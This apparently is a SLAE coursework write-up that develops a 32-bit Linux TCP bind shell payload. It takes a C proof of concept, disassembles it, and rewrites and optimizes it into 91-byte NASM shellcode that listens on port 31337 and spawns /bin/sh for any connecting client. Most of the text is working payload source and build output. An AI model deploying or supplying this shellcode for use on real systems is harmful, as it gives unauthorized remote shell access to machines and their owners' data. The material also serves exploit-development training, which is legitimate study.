SLAE 1: Bind shell (91 Bytes)

SLAE_logo2

Introduction

The aim of this assignment is to develop a working tcp bind shell for the 32bit Linux platform.

I will apply the following approach to achieve that goal:

  1. Identify suitable proof of concept code
  2. Reduce the POC to the essence of the required task
  3. Compile, test and disassemble the POC
  4. Re-write the POC in assembly
  5. Optimize shellcode
  6. Write shellcode wrapper that produces shellcode for any given bind port
  7. FINAL PRODUCT

1. Identify suitable proof of concept code

Whilst there are numerous bind shellcodes available on shell-storm.com or exploit.db, I decided to make it a worthwhile exercise to start from scratch to learn the reasoning behind some of the decisions taken in shellcode development.

As basis for my shellcode I picked a classic: bindshell.c from page 145 of the book “Programming Linux Hacker Tools Uncovered:…” by Ivan Sklyarov:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>


int main(int argc, char *argv[])
{
  int sd, cli, port;
  struct sockaddr_in servaddr;
  port = 31337;

  daemon(1, 0);
  if (argc != 1) port = atoi(argv[1]);
    
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = INADDR_ANY;
  servaddr.sin_port = htons(port);

  sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)))
    perror("bind() failed");

  listen(sd, 1);
  cli = accept(sd, NULL, 0);
  dup2(cli, 0);
  dup2(cli, 1);
  dup2(cli, 2);
  execl("/bin/sh", "sh", NULL);
}

The code works as advertised – It listens on port 31337 and spawns a shell when connected:

bindshell

2. Reduce the POC to the essence of the required task

Anticipating the complexity of the dis-assembly, let’s reduce the code by cutting out the non-essential bits and, while we’re at it, let’s resolve the numeric constants to provide more clarity (as defined in sys/socket.h and netinet/in.h):

int main(void)
{
  int sd, cli, port;

  char *servaddr =  "\x02\x00"             //  Address family (AF_INET)
                    "\x7A\x69"             //  port 31337
                    "\x00\x00\x00\x00"     //  INADDR_ANY
                    "\x00\x00\x00\x00"
                    "\x00\x00\x00\x00";

  sd = socket(2, 1, 6);
  bind(sd, servaddr, 16);
  listen(sd, 1);
  cli = accept(sd, 0, 0);
  dup2(cli, 0);
  dup2(cli, 1);
  dup2(cli, 2);
  execve("/bin/sh", 0, 0);
  return;
}

Looks much better.

3. Compile, test and disassemble the POC

It still works:

fin_bindshell

 

Now, let’s look at the disassembly:

root@kali:~/git/slae-assignment1# objdump -d fin_bindshell -M intel

fin_bindshell:     file format elf32-i386


Disassembly of section .init:

08048394 :
 8048394:	55                   	push   ebp
 8048395:	89 e5                	mov    ebp,esp
 8048397:	53                   	push   ebx
 8048398:	83 ec 04             	sub    esp,0x4
 804839b:	e8 00 00 00 00       	call   80483a0 <_init+0xc>
 80483a0:	5b                   	pop    ebx
 80483a1:	81 c3 d8 14 00 00    	add    ebx,0x14d8
 80483a7:	8b 93 fc ff ff ff    	mov    edx,DWORD PTR [ebx-0x4]
 80483ad:	85 d2                	test   edx,edx
 80483af:	74 05                	je     80483b6 <_init+0x22>
 80483b1:	e8 4a 00 00 00       	call   8048400 <__gmon_start__@plt>
 80483b6:	58                   	pop    eax
 80483b7:	5b                   	pop    ebx
 80483b8:	c9                   	leave  
 80483b9:	c3                   	ret    

Disassembly of section .plt:

080483c0 <dup2@plt-0x10>:
 80483c0:	ff 35 7c 98 04 08    	push   DWORD PTR ds:0x804987c
 80483c6:	ff 25 80 98 04 08    	jmp    DWORD PTR ds:0x8049880
 80483cc:	00 00                	add    BYTE PTR [eax],al
	...

080483d0 <dup2@plt>:
 80483d0:	ff 25 84 98 04 08    	jmp    DWORD PTR ds:0x8049884
 80483d6:	68 00 00 00 00       	push   0x0
 80483db:	e9 e0 ff ff ff       	jmp    80483c0 <_init+0x2c>

080483e0 <accept@plt>:
 80483e0:	ff 25 88 98 04 08    	jmp    DWORD PTR ds:0x8049888
 80483e6:	68 08 00 00 00       	push   0x8
 80483eb:	e9 d0 ff ff ff       	jmp    80483c0 <_init+0x2c>

080483f0 <daemon@plt>:
 80483f0:	ff 25 8c 98 04 08    	jmp    DWORD PTR ds:0x804988c
 80483f6:	68 10 00 00 00       	push   0x10
 80483fb:	e9 c0 ff ff ff       	jmp    80483c0 <_init+0x2c>

08048400 <__gmon_start__@plt>:
 8048400:	ff 25 90 98 04 08    	jmp    DWORD PTR ds:0x8049890
 8048406:	68 18 00 00 00       	push   0x18
 804840b:	e9 b0 ff ff ff       	jmp    80483c0 <_init+0x2c>

08048410 <__libc_start_main@plt>:
 8048410:	ff 25 94 98 04 08    	jmp    DWORD PTR ds:0x8049894
 8048416:	68 20 00 00 00       	push   0x20
 804841b:	e9 a0 ff ff ff       	jmp    80483c0 <_init+0x2c>

08048420 <execve@plt>:
 8048420:	ff 25 98 98 04 08    	jmp    DWORD PTR ds:0x8049898
 8048426:	68 28 00 00 00       	push   0x28
 804842b:	e9 90 ff ff ff       	jmp    80483c0 <_init+0x2c>

08048430 <bind@plt>:
 8048430:	ff 25 9c 98 04 08    	jmp    DWORD PTR ds:0x804989c
 8048436:	68 30 00 00 00       	push   0x30
 804843b:	e9 80 ff ff ff       	jmp    80483c0 <_init+0x2c>

08048440 <listen@plt>:
 8048440:	ff 25 a0 98 04 08    	jmp    DWORD PTR ds:0x80498a0
 8048446:	68 38 00 00 00       	push   0x38
 804844b:	e9 70 ff ff ff       	jmp    80483c0 <_init+0x2c>

08048450 <socket@plt>:
 8048450:	ff 25 a4 98 04 08    	jmp    DWORD PTR ds:0x80498a4
 8048456:	68 40 00 00 00       	push   0x40
 804845b:	e9 60 ff ff ff       	jmp    80483c0 <_init+0x2c>

Disassembly of section .text:

08048460 :
 8048460:	31 ed                	xor    ebp,ebp
 8048462:	5e                   	pop    esi
 8048463:	89 e1                	mov    ecx,esp
 8048465:	83 e4 f0             	and    esp,0xfffffff0
 8048468:	50                   	push   eax
 8048469:	54                   	push   esp
 804846a:	52                   	push   edx
 804846b:	68 50 86 04 08       	push   0x8048650
 8048470:	68 60 86 04 08       	push   0x8048660
 8048475:	51                   	push   ecx
 8048476:	56                   	push   esi
 8048477:	68 4c 85 04 08       	push   0x804854c
 804847c:	e8 8f ff ff ff       	call   8048410 <__libc_start_main@plt>
 8048481:	f4                   	hlt    
 8048482:	90                   	nop
 8048483:	90                   	nop
 8048484:	90                   	nop
 8048485:	90                   	nop
 8048486:	90                   	nop
 8048487:	90                   	nop
 8048488:	90                   	nop
 8048489:	90                   	nop
 804848a:	90                   	nop
 804848b:	90                   	nop
 804848c:	90                   	nop
 804848d:	90                   	nop
 804848e:	90                   	nop
 804848f:	90                   	nop

08048490 :
 8048490:	b8 b3 98 04 08       	mov    eax,0x80498b3
 8048495:	2d b0 98 04 08       	sub    eax,0x80498b0
 804849a:	83 f8 06             	cmp    eax,0x6
 804849d:	77 02                	ja     80484a1 <deregister_tm_clones+0x11>
 804849f:	f3 c3                	repz ret 
 80484a1:	b8 00 00 00 00       	mov    eax,0x0
 80484a6:	85 c0                	test   eax,eax
 80484a8:	74 f5                	je     804849f <deregister_tm_clones+0xf>
 80484aa:	55                   	push   ebp
 80484ab:	89 e5                	mov    ebp,esp
 80484ad:	83 ec 18             	sub    esp,0x18
 80484b0:	c7 04 24 b0 98 04 08 	mov    DWORD PTR [esp],0x80498b0
 80484b7:	ff d0                	call   eax
 80484b9:	c9                   	leave  
 80484ba:	c3                   	ret    
 80484bb:	90                   	nop
 80484bc:	8d 74 26 00          	lea    esi,[esi+eiz*1+0x0]

080484c0 :
 80484c0:	b8 b0 98 04 08       	mov    eax,0x80498b0
 80484c5:	2d b0 98 04 08       	sub    eax,0x80498b0
 80484ca:	c1 f8 02             	sar    eax,0x2
 80484cd:	89 c2                	mov    edx,eax
 80484cf:	c1 ea 1f             	shr    edx,0x1f
 80484d2:	01 d0                	add    eax,edx
 80484d4:	d1 f8                	sar    eax,1
 80484d6:	75 02                	jne    80484da <register_tm_clones+0x1a>
 80484d8:	f3 c3                	repz ret 
 80484da:	ba 00 00 00 00       	mov    edx,0x0
 80484df:	85 d2                	test   edx,edx
 80484e1:	74 f5                	je     80484d8 <register_tm_clones+0x18>
 80484e3:	55                   	push   ebp
 80484e4:	89 e5                	mov    ebp,esp
 80484e6:	83 ec 18             	sub    esp,0x18
 80484e9:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80484ed:	c7 04 24 b0 98 04 08 	mov    DWORD PTR [esp],0x80498b0
 80484f4:	ff d2                	call   edx
 80484f6:	c9                   	leave  
 80484f7:	c3                   	ret    
 80484f8:	90                   	nop
 80484f9:	8d b4 26 00 00 00 00 	lea    esi,[esi+eiz*1+0x0]

08048500 :
 8048500:	80 3d b0 98 04 08 00 	cmp    BYTE PTR ds:0x80498b0,0x0
 8048507:	75 13                	jne    804851c <__do_global_dtors_aux+0x1c>
 8048509:	55                   	push   ebp
 804850a:	89 e5                	mov    ebp,esp
 804850c:	83 ec 08             	sub    esp,0x8
 804850f:	e8 7c ff ff ff       	call   8048490 
 8048514:	c6 05 b0 98 04 08 01 	mov    BYTE PTR ds:0x80498b0,0x1
 804851b:	c9                   	leave  
 804851c:	f3 c3                	repz ret 
 804851e:	66 90                	xchg   ax,ax

08048520 :
 8048520:	a1 80 97 04 08       	mov    eax,ds:0x8049780
 8048525:	85 c0                	test   eax,eax
 8048527:	74 1e                	je     8048547 <frame_dummy+0x27>
 8048529:	b8 00 00 00 00       	mov    eax,0x0
 804852e:	85 c0                	test   eax,eax
 8048530:	74 15                	je     8048547 <frame_dummy+0x27>
 8048532:	55                   	push   ebp
 8048533:	89 e5                	mov    ebp,esp
 8048535:	83 ec 18             	sub    esp,0x18
 8048538:	c7 04 24 80 97 04 08 	mov    DWORD PTR [esp],0x8049780
 804853f:	ff d0                	call   eax
 8048541:	c9                   	leave  
 8048542:	e9 79 ff ff ff       	jmp    80484c0 
 8048547:	e9 74 ff ff ff       	jmp    80484c0 

0804854c :
 804854c:	55                   	push   ebp
 804854d:	89 e5                	mov    ebp,esp
 804854f:	83 e4 f0             	and    esp,0xfffffff0
 8048552:	83 ec 20             	sub    esp,0x20
 8048555:	c7 44 24 1c e0 86 04 	mov    DWORD PTR [esp+0x1c],0x80486e0
 804855c:	08 
 804855d:	c7 44 24 04 00 00 00 	mov    DWORD PTR [esp+0x4],0x0
 8048564:	00 
 8048565:	c7 04 24 01 00 00 00 	mov    DWORD PTR [esp],0x1
 804856c:	e8 7f fe ff ff       	call   80483f0 <daemon@plt>
 8048571:	c7 44 24 08 06 00 00 	mov    DWORD PTR [esp+0x8],0x6
 8048578:	00 
 8048579:	c7 44 24 04 01 00 00 	mov    DWORD PTR [esp+0x4],0x1
 8048580:	00 
 8048581:	c7 04 24 02 00 00 00 	mov    DWORD PTR [esp],0x2
 8048588:	e8 c3 fe ff ff       	call   8048450 <socket@plt>
 804858d:	89 44 24 18          	mov    DWORD PTR [esp+0x18],eax
 8048591:	c7 44 24 08 10 00 00 	mov    DWORD PTR [esp+0x8],0x10
 8048598:	00 
 8048599:	8b 44 24 1c          	mov    eax,DWORD PTR [esp+0x1c]
 804859d:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80485a1:	8b 44 24 18          	mov    eax,DWORD PTR [esp+0x18]
 80485a5:	89 04 24             	mov    DWORD PTR [esp],eax
 80485a8:	e8 83 fe ff ff       	call   8048430 <bind@plt>
 80485ad:	85 c0                	test   eax,eax
 80485af:	0f 85 8f 00 00 00    	jne    8048644 <main+0xf8>
 80485b5:	c7 44 24 04 01 00 00 	mov    DWORD PTR [esp+0x4],0x1
 80485bc:	00 
 80485bd:	8b 44 24 18          	mov    eax,DWORD PTR [esp+0x18]
 80485c1:	89 04 24             	mov    DWORD PTR [esp],eax
 80485c4:	e8 77 fe ff ff       	call   8048440 <listen@plt>
 80485c9:	c7 44 24 08 00 00 00 	mov    DWORD PTR [esp+0x8],0x0
 80485d0:	00 
 80485d1:	c7 44 24 04 00 00 00 	mov    DWORD PTR [esp+0x4],0x0
 80485d8:	00 
 80485d9:	8b 44 24 18          	mov    eax,DWORD PTR [esp+0x18]
 80485dd:	89 04 24             	mov    DWORD PTR [esp],eax
 80485e0:	e8 fb fd ff ff       	call   80483e0 <accept@plt>
 80485e5:	89 44 24 14          	mov    DWORD PTR [esp+0x14],eax
 80485e9:	c7 44 24 04 00 00 00 	mov    DWORD PTR [esp+0x4],0x0
 80485f0:	00 
 80485f1:	8b 44 24 14          	mov    eax,DWORD PTR [esp+0x14]
 80485f5:	89 04 24             	mov    DWORD PTR [esp],eax
 80485f8:	e8 d3 fd ff ff       	call   80483d0 <dup2@plt>
 80485fd:	c7 44 24 04 01 00 00 	mov    DWORD PTR [esp+0x4],0x1
 8048604:	00 
 8048605:	8b 44 24 14          	mov    eax,DWORD PTR [esp+0x14]
 8048609:	89 04 24             	mov    DWORD PTR [esp],eax
 804860c:	e8 bf fd ff ff       	call   80483d0 <dup2@plt>
 8048611:	c7 44 24 04 02 00 00 	mov    DWORD PTR [esp+0x4],0x2
 8048618:	00 
 8048619:	8b 44 24 14          	mov    eax,DWORD PTR [esp+0x14]
 804861d:	89 04 24             	mov    DWORD PTR [esp],eax
 8048620:	e8 ab fd ff ff       	call   80483d0 <dup2@plt>
 8048625:	c7 44 24 08 00 00 00 	mov    DWORD PTR [esp+0x8],0x0
 804862c:	00 
 804862d:	c7 44 24 04 00 00 00 	mov    DWORD PTR [esp+0x4],0x0
 8048634:	00 
 8048635:	c7 04 24 f1 86 04 08 	mov    DWORD PTR [esp],0x80486f1
 804863c:	e8 df fd ff ff       	call   8048420 <execve@plt>
 8048641:	90                   	nop
 8048642:	eb 01                	jmp    8048645 <main+0xf9>
 8048644:	90                   	nop
 8048645:	c9                   	leave  
 8048646:	c3                   	ret    
 8048647:	90                   	nop
 8048648:	90                   	nop
 8048649:	90                   	nop
 804864a:	90                   	nop
 804864b:	90                   	nop
 804864c:	90                   	nop
 804864d:	90                   	nop
 804864e:	90                   	nop
 804864f:	90                   	nop

08048650 :
 8048650:	55                   	push   ebp
 8048651:	89 e5                	mov    ebp,esp
 8048653:	5d                   	pop    ebp
 8048654:	c3                   	ret    
 8048655:	8d 74 26 00          	lea    esi,[esi+eiz*1+0x0]
 8048659:	8d bc 27 00 00 00 00 	lea    edi,[edi+eiz*1+0x0]

08048660 :
 8048660:	55                   	push   ebp
 8048661:	89 e5                	mov    ebp,esp
 8048663:	57                   	push   edi
 8048664:	56                   	push   esi
 8048665:	53                   	push   ebx
 8048666:	e8 4f 00 00 00       	call   80486ba 
 804866b:	81 c3 0d 12 00 00    	add    ebx,0x120d
 8048671:	83 ec 1c             	sub    esp,0x1c
 8048674:	e8 1b fd ff ff       	call   8048394 
 8048679:	8d bb 04 ff ff ff    	lea    edi,[ebx-0xfc]
 804867f:	8d 83 00 ff ff ff    	lea    eax,[ebx-0x100]
 8048685:	29 c7                	sub    edi,eax
 8048687:	c1 ff 02             	sar    edi,0x2
 804868a:	85 ff                	test   edi,edi
 804868c:	74 24                	je     80486b2 <__libc_csu_init+0x52>
 804868e:	31 f6                	xor    esi,esi
 8048690:	8b 45 10             	mov    eax,DWORD PTR [ebp+0x10]
 8048693:	89 44 24 08          	mov    DWORD PTR [esp+0x8],eax
 8048697:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
 804869a:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 804869e:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 80486a1:	89 04 24             	mov    DWORD PTR [esp],eax
 80486a4:	ff 94 b3 00 ff ff ff 	call   DWORD PTR [ebx+esi*4-0x100]
 80486ab:	83 c6 01             	add    esi,0x1
 80486ae:	39 fe                	cmp    esi,edi
 80486b0:	72 de                	jb     8048690 <__libc_csu_init+0x30>
 80486b2:	83 c4 1c             	add    esp,0x1c
 80486b5:	5b                   	pop    ebx
 80486b6:	5e                   	pop    esi
 80486b7:	5f                   	pop    edi
 80486b8:	5d                   	pop    ebp
 80486b9:	c3                   	ret    

080486ba :
 80486ba:	8b 1c 24             	mov    ebx,DWORD PTR [esp]
 80486bd:	c3                   	ret    
 80486be:	90                   	nop
 80486bf:	90                   	nop

Disassembly of section .fini:

080486c0 :
 80486c0:	55                   	push   ebp
 80486c1:	89 e5                	mov    ebp,esp
 80486c3:	53                   	push   ebx
 80486c4:	83 ec 04             	sub    esp,0x4
 80486c7:	e8 00 00 00 00       	call   80486cc <_fini+0xc>
 80486cc:	5b                   	pop    ebx
 80486cd:	81 c3 ac 11 00 00    	add    ebx,0x11ac
 80486d3:	59                   	pop    ecx
 80486d4:	5b                   	pop    ebx
 80486d5:	c9                   	leave  
 80486d6:	c3                   	ret

4. Re-write the POC in assembly

The majority of the POC consists of dynamic library calls, which makes it unsuitable for our purpose (static linking would have resulted in thousands of lines of code). Instead of re-using the POC code I consider a re-write in assembly based on that code much more efficient.

Let’s list the individual components of this program and write them in assembly:

  1. Create a socket (line 11)
  2. Populate a sockaddr_in structure (lines 5-9) and bind the socket (line 12)
  3. Listen on our socket(line 13)
  4. Accept a connection on our socket(line 14)
  5. Move STDIN, STDOUT & STDERR to our socket (lines 15-17)
  6. Execute /bin/sh (line 18)

To write each of these system calls, I used the following resources:

  • Linux man pages for each function describes the function and calling conventions
  • The system call table identifies the relevant system call number to use (nicer displayed than in unistd_32.h of the local system)
  • System call reference defines that the call number is placed in eax and the parameters are placed in ebx, ecx, edx, esx & edi in order

Let’s go ahead and tackle each portion of the program:

i. Create a socket

Syscall reference: Socket syscalls make use of only one syscall number: SYS_socketcall (0x66) which goes in %eax. The socket functions are identified via a subfunction numbers located in /usr/include/linux/net.h and are stored in %ebx. A pointer to the syscall args is stored in %ecx. Socket syscalls are also executed with int $0x80.

man 2 socketcall explains system call invocation: int socketcall(int call, unsigned long *args);

call determines which socket function to invoke (sub-function number) and is listed in net.h as

#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

man 2 socket lists the arguments pointed to by *args:  int socket(int domain, int type, int protocol);

Lets put it together:

  • We push the arguments onto the stack in reverse order
  • We store 0x1 as sub-function number in bl (instead of ebx to avoid nulls)
  • We store the address of the top of the stack (were the arguments start) in ecx
  • We store the system call number for 102 in al (for SYS_socketcall)
  • We execute int 0x80
  • We copy the return value in eax to esi. That is the socket descriptor we’ll need later
    ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) parameters
    push 0x6        ; IPPROTO_TCP
    push 0x1        ; SOCK_STREAM
    push 0x2        ; AF_INET

    xor ebx, ebx    ; clear ebx
    mov bl, 0x1     ; store socket call identifier in bl

    xor ecx, ecx    ; clear ecx
    mov ecx, esp    ; store pointer to arguments in ecx
    
    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store SYS_socketcall system call number in al
    int 0x80        ; execute system call
    mov esi, eax    ; store the socket descriptor in esi

That’s all. The socket is ready for use.

ii. Bind the socket

Next we bind the newly created socket to an address and port using the same system call as above but with sub-function number “2”.

man 2 bind: int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

We basically repeat the first call with different arguments:

  • We push the arguments onto the stack in reverse order
  • We store 0x2 as sub-function number in bl
  • We store the address of the top of the stack (were the arguments start) in ecx
  • We store the system call number for 102 in al (for SYS_socketcall)
  • We execute int 0x80
    ; push bind() parameters
    xor ebx, ebx    ; clear ebx
    push ebx        ; INADDR_ANY
    push word 0x697A; port
    push word 0x2   ; AF_INET

    mov ecx, esp    ; store pointer to the structure in ecx

    push 0x10       ; sizeof(struct sockaddr_in)
    push ecx        ; &serv_addr
    push esi        ; our socket descriptor

    mov bl, 0x2     ; store bind call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx

    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store SYS_socketcall system call number in al
    int 0x80        ; execute system call

Done.

iii. Listen on the socket

man 2 listen: int listen(int sockfd, int backlog);

We basically repeat the previous socket call with our socket fd and a backlog of 1:

  • We push the arguments onto the stack in reverse order
  • We store 0x3 as sub-function number in bl
  • We store the address of the top of the stack (were the arguments start) in ecx
  • We store the system call number for 102 in al (for SYS_socketcall)
  • We execute int 0x80
    ; push listen(sockfd=esi, backlog=1) parameters
    push 0x1        ; backlog
    push esi        ; sockfd

    xor ebx, ebx    ; clear ebx
    mov bl, 0x4     ; store listen call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx

    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store SYS_socketcall system call number in al
    int 0x80        ; execute system call

Perfect.

iv. Accept incoming connections

man 2 accept: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

We can leave the sockaddr and socklen_t empty. They are not required for our purpose.

We basically repeat the previous socket call with our socket fd and a backlog of 1:

  • We push the arguments onto the stack in reverse order
  • We store 0x3 as sub-function number in bl
  • We store the address of the top of the stack (were the arguments start) in ecx
  • We store the system call number for 102 in al (for SYS_socketcall)
  • We execute int 0x80
  • We copy the return value in eax to ebx for the next syscall. That is the socket descriptor of our connection
    xor ebx, ebx    ; clear ebx
    push ebx        ; null addrlen
    push ebx        ; null sockaddr
    push esi        ; sockfd

    mov bl, 0x5     ; store accept call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx

    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store SYS_socketcall system call number in al
    int 0x80        ; execute system call
    mov ebx, eax    ; store the new socket file descriptor in ebx for dup2

Done.

v. Move STDIN, STDOUT & STDERR to our socket

Syscall reference: dup2 has a system call number 0x3F

man 2 dup2: int dup2(int oldfd, int newfd);

This time we already have the sockfd in ebx, we only place the old fd in ecx and execute syscall:

    ; dup2(sockfd, 0);
    xor eax, eax    ; clear eax
    mov al, 0x3f    ; store sys_dup2 system call number in al
    xor ecx, ecx    ; put 0 in ecx
    int 0x80	    ; execute system call

    ; dup2(sockfd, 1);
    xor eax, eax    ; clear eax
    mov al, 0x3f    ; store sys_dup2 system call number in al
    inc ecx    	    ; set ecx to 1
    int 0x80	    ; execute system call

    ; dup2(sockfd, 2);
    xor eax, eax    ; clear eax
    mov al, 0x3f    ; store sys_dup2 system call number in al
    inc ecx    	    ; set ecx to 2
    int 0x80	    ; execute system call

Awesome.

vi. Execute /bin/sh via execve

Syscall reference: execve has a system call number 0xB

man 2 execve: int execve(const char *filename, char *const argv[],char *const envp[])

We are going to push a null terminated /bin/sh onto the stack and esp becomes both our pointer to the file name as well as our pointer to argv. We can terminate argv with a null and put a null for envp.

Once done we can put 11 in al and execute int 0x80.

    ; execve(*esp, [*esp, NULL], NULL);
    xor eax, eax    ; clear eax
    push eax        ; push NULL termination
    push 0x68732f2f ; //sh (we can add a slash to make it four non 0x0 bytes)
    push 0x6e69622f ; /bin
    mov ebx, esp    ; store address of /bin/sh

    push eax        ; push NULL termination
    push ebx        ; push pointer to /bin/sh 
    mov ecx, esp    ; store pointer to arguments in ecx

    push eax        ; push NULL termination
    mov edx, esp    ; store pointer to empty envp array in edx

    mov al, 0xb     ; store execve system call number in al  
    int 0x80        ; execute system call

Thats it.
Below is the 126 byte shellcode for port 31337.

; Filename: 126bindshell.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Website:  http://www.whitedome.com.au/re4son
;
; Purpose: Spawn a bind shell on port 31337


global _start           

section .text

_start:

    ; socket
    ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) parameters
    push 0x6        ; IPPROTO_TCP
    push 0x1        ; SOCK_STREAM
    push 0x2        ; AF_INET

    xor ebx, ebx    ; clear ebx
    mov bl, 0x1     ; store socket call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx
    
    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store sys_socketcall system call number in al
    int 0x80        ; execute system call
    mov esi, eax    ; store the socket file descriptor in esi


    ; bind
    ; push bind() parameters
    xor ebx, ebx    ; clear ebx
    push ebx        ; INADDR_ANY
    push word 0x697A; port
    push word 0x2   ; AF_INET

    mov ecx, esp    ; store pointer to the structure in ecx

    push 0x10         ; sizeof(struct sockaddr_in)
    push ecx        ; &serv_addr
    push esi        ; our socket descriptor

    mov bl, 0x2     ; store bind call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx

    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store sys_socketcall system call number in al
    int 0x80        ; execute system call


    ; listen
    ; push listen(sockfd=esi, backlog=1) parameters
    push 0x1        ; backlog
    push esi        ; sockfd

    xor ebx, ebx    ; clear ebx
    mov bl, 0x4     ; store listen call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx

    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store sys_socketcall system call number in al
    int 0x80        ; execute system call


    ; accept
    ; push accept(sockfd, NULL, NULL) parameters
    xor ebx, ebx    ; clear ebx
    push ebx        ; NULL addrlen
    push ebx        ; NULL sockaddr
    push esi        ; sockfd

    mov bl, 0x5     ; store accept call identifier in bl

    mov ecx, esp    ; store pointer to arguments in ecx

    ; issue system call
    xor eax, eax    ; clear eax
    mov al, 0x66    ; store sys_socketcall system call number in al
    int 0x80        ; execute system call
    mov ebx, eax    ; store the new socket file descriptor in ebx for dup2

    ; Move STDIN, STDOUT & STDERR to our new socket
    ; dup2(sockfd, 0);
    xor eax, eax    ; clear eax
    mov al, 0x3f    ; store sys_dup2 system call number in al
    xor ecx, ecx    ; put 0 in ecx
    int 0x80	    ; execute system call

    ; dup2(sockfd, 1);
    xor eax, eax    ; clear eax
    mov al, 0x3f    ; store sys_dup2 system call number in al
    inc ecx    	    ; set ecx to 1
    int 0x80	    ; execute system call

    ; dup2(sockfd, 2);
    xor eax, eax    ; clear eax
    mov al, 0x3f    ; store sys_dup2 system call number in al
    inc ecx    	    ; set ecx to 2
    int 0x80	    ; execute system call


    ; execute /bin/sh
    ; execve(*esp, [*esp, NULL], NULL);
    xor eax, eax    ; clear eax
    push eax        ; push NULL termination
    push 0x68732f2f ; //sh (we can add a slash to make it four non 0x0 bytes)
    push 0x6e69622f ; /bin
    mov ebx, esp    ; store address of /bin/sh

    push eax        ; push NULL termination
    push ebx        ; push pointer to /bin/sh 
    mov ecx, esp    ; store pointer to arguments in ecx

    push eax        ; push NULL termination
    mov edx, esp    ; store pointer to empty envp array in edx

    mov al, 0xb     ; store execve system call number in al  
    int 0x80        ; execute system call

5. Optimize shellcode

We optimized it along the way but after rearranging a few instructions, re-using register states and bastardizing the execve call  I managed to get it down to 91 bytes:

; Filename: bindshell.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Website:  http://www.whitedome.com.au/re4son
;
; Purpose: Spawn a bind shell on port 31337
;          91 bytes


global _start           

section .text

_start:

    ; --- socket ---

    xor ebx, ebx        ; clear ebx
    mul ebx            ; clear eax and edx
    mov bl, 0x1         ; store socket call identifier in bl

    ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) parameters
    push 0x6
    push ebx
    push 0x2
    
    mov ecx, esp        ; store pointer to arguments in ecx
    
    ; issue system call
    mov al, 0x66        ; store sys_socketcall system call number in al
    mov edi, eax        ; copy away for later re-use
    int 0x80            ; execute system call
    xchg esi, eax       ; store the socket file descriptor in esi, optimized way


    ; --- bind ---

    inc ebx            ; increase the sub call function number to 2 for bind

    ; push bind() parameters
    push edx            ; INADDR_ANY
    push word 0x697A    ; port
    push word bx       ; AF_INET

    mov ecx, esp        ; store pointer to the structure in ecx

    push 0x10             ; sizeof(struct sockaddr_in)
    push ecx            ; &serv_addr
    push esi            ; our socket descriptor

    mov ecx, esp        ; store pointer to arguments in ecx

    ; issue system call
    mov eax, edi        ; store sys_socketcall system call number in eax
    int 0x80            ; execute system call


    ; --- listen ---
    ; push listen(sockfd=esi, backlog=0) parameters
    push edx            ; backlog
    push esi            ; sockfd

    mov bl, 0x4         ; store listen call identifier in bl
    mov ecx, esp        ; store pointer to arguments in ecx

    ; issue system call
    mov eax, edi        ; store sys_socketcall system call number in eax
    int 0x80            ; execute system call


    ; accept
    ; push accept(sockfd, NULL, NULL) parameters
    push edx            ; NULL addrlen
    push edx            ; NULL sockaddr
    push esi            ; sockfd

    inc ebx            ; increase sub function number in bl to 5
    mov ecx, esp        ; store pointer to arguments in ecx

    ; issue system call
    mov eax, edi        ; store sys_socketcall system call number in eax
    int 0x80            ; execute system call
    xchg ebx, eax        ; store the new socket file descriptor in ebx for dup2

    ; Move STDIN, STDOUT & STDERR to our new socket
    xor ecx, ecx    ; clear ecx
    mov cl, 0x2        ; loop counter
    loop:
        mov al, 0x3f    ; store sys_dup2 system call number in al
        int 0x80    ; execute system call
        dec ecx 
        jns loop

    ; execute /bin/sh
    ; execve("/bin/sh", 0, 0);
    mov ecx, edx        ; clear ecx  
    push edx            ; push NULL termination
    push 0x68732f2f     ; //sh (we can add a slash to make it four non NULL bytes)
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; store address of /bin/sh
  
    mov al, 0xb         ; store execve system call number in al  
    int 0x80            ; execute system call


Perfect.
Lets assemble it and get the shellcode via objdump:

root@kali:~/git/slae-assignment1# ./shell-compile.sh bindshell

[+] Assembling bindshell.nasm with "nasm -f elf32 -o bindshell.o bindshell.nasm" 
[+] Linking bindshell.o with "ld -N -o bindshell bindshell.o"
[+] Generating shellcode via objdump and sed ...
[+] 91 bytes shellcode generated:

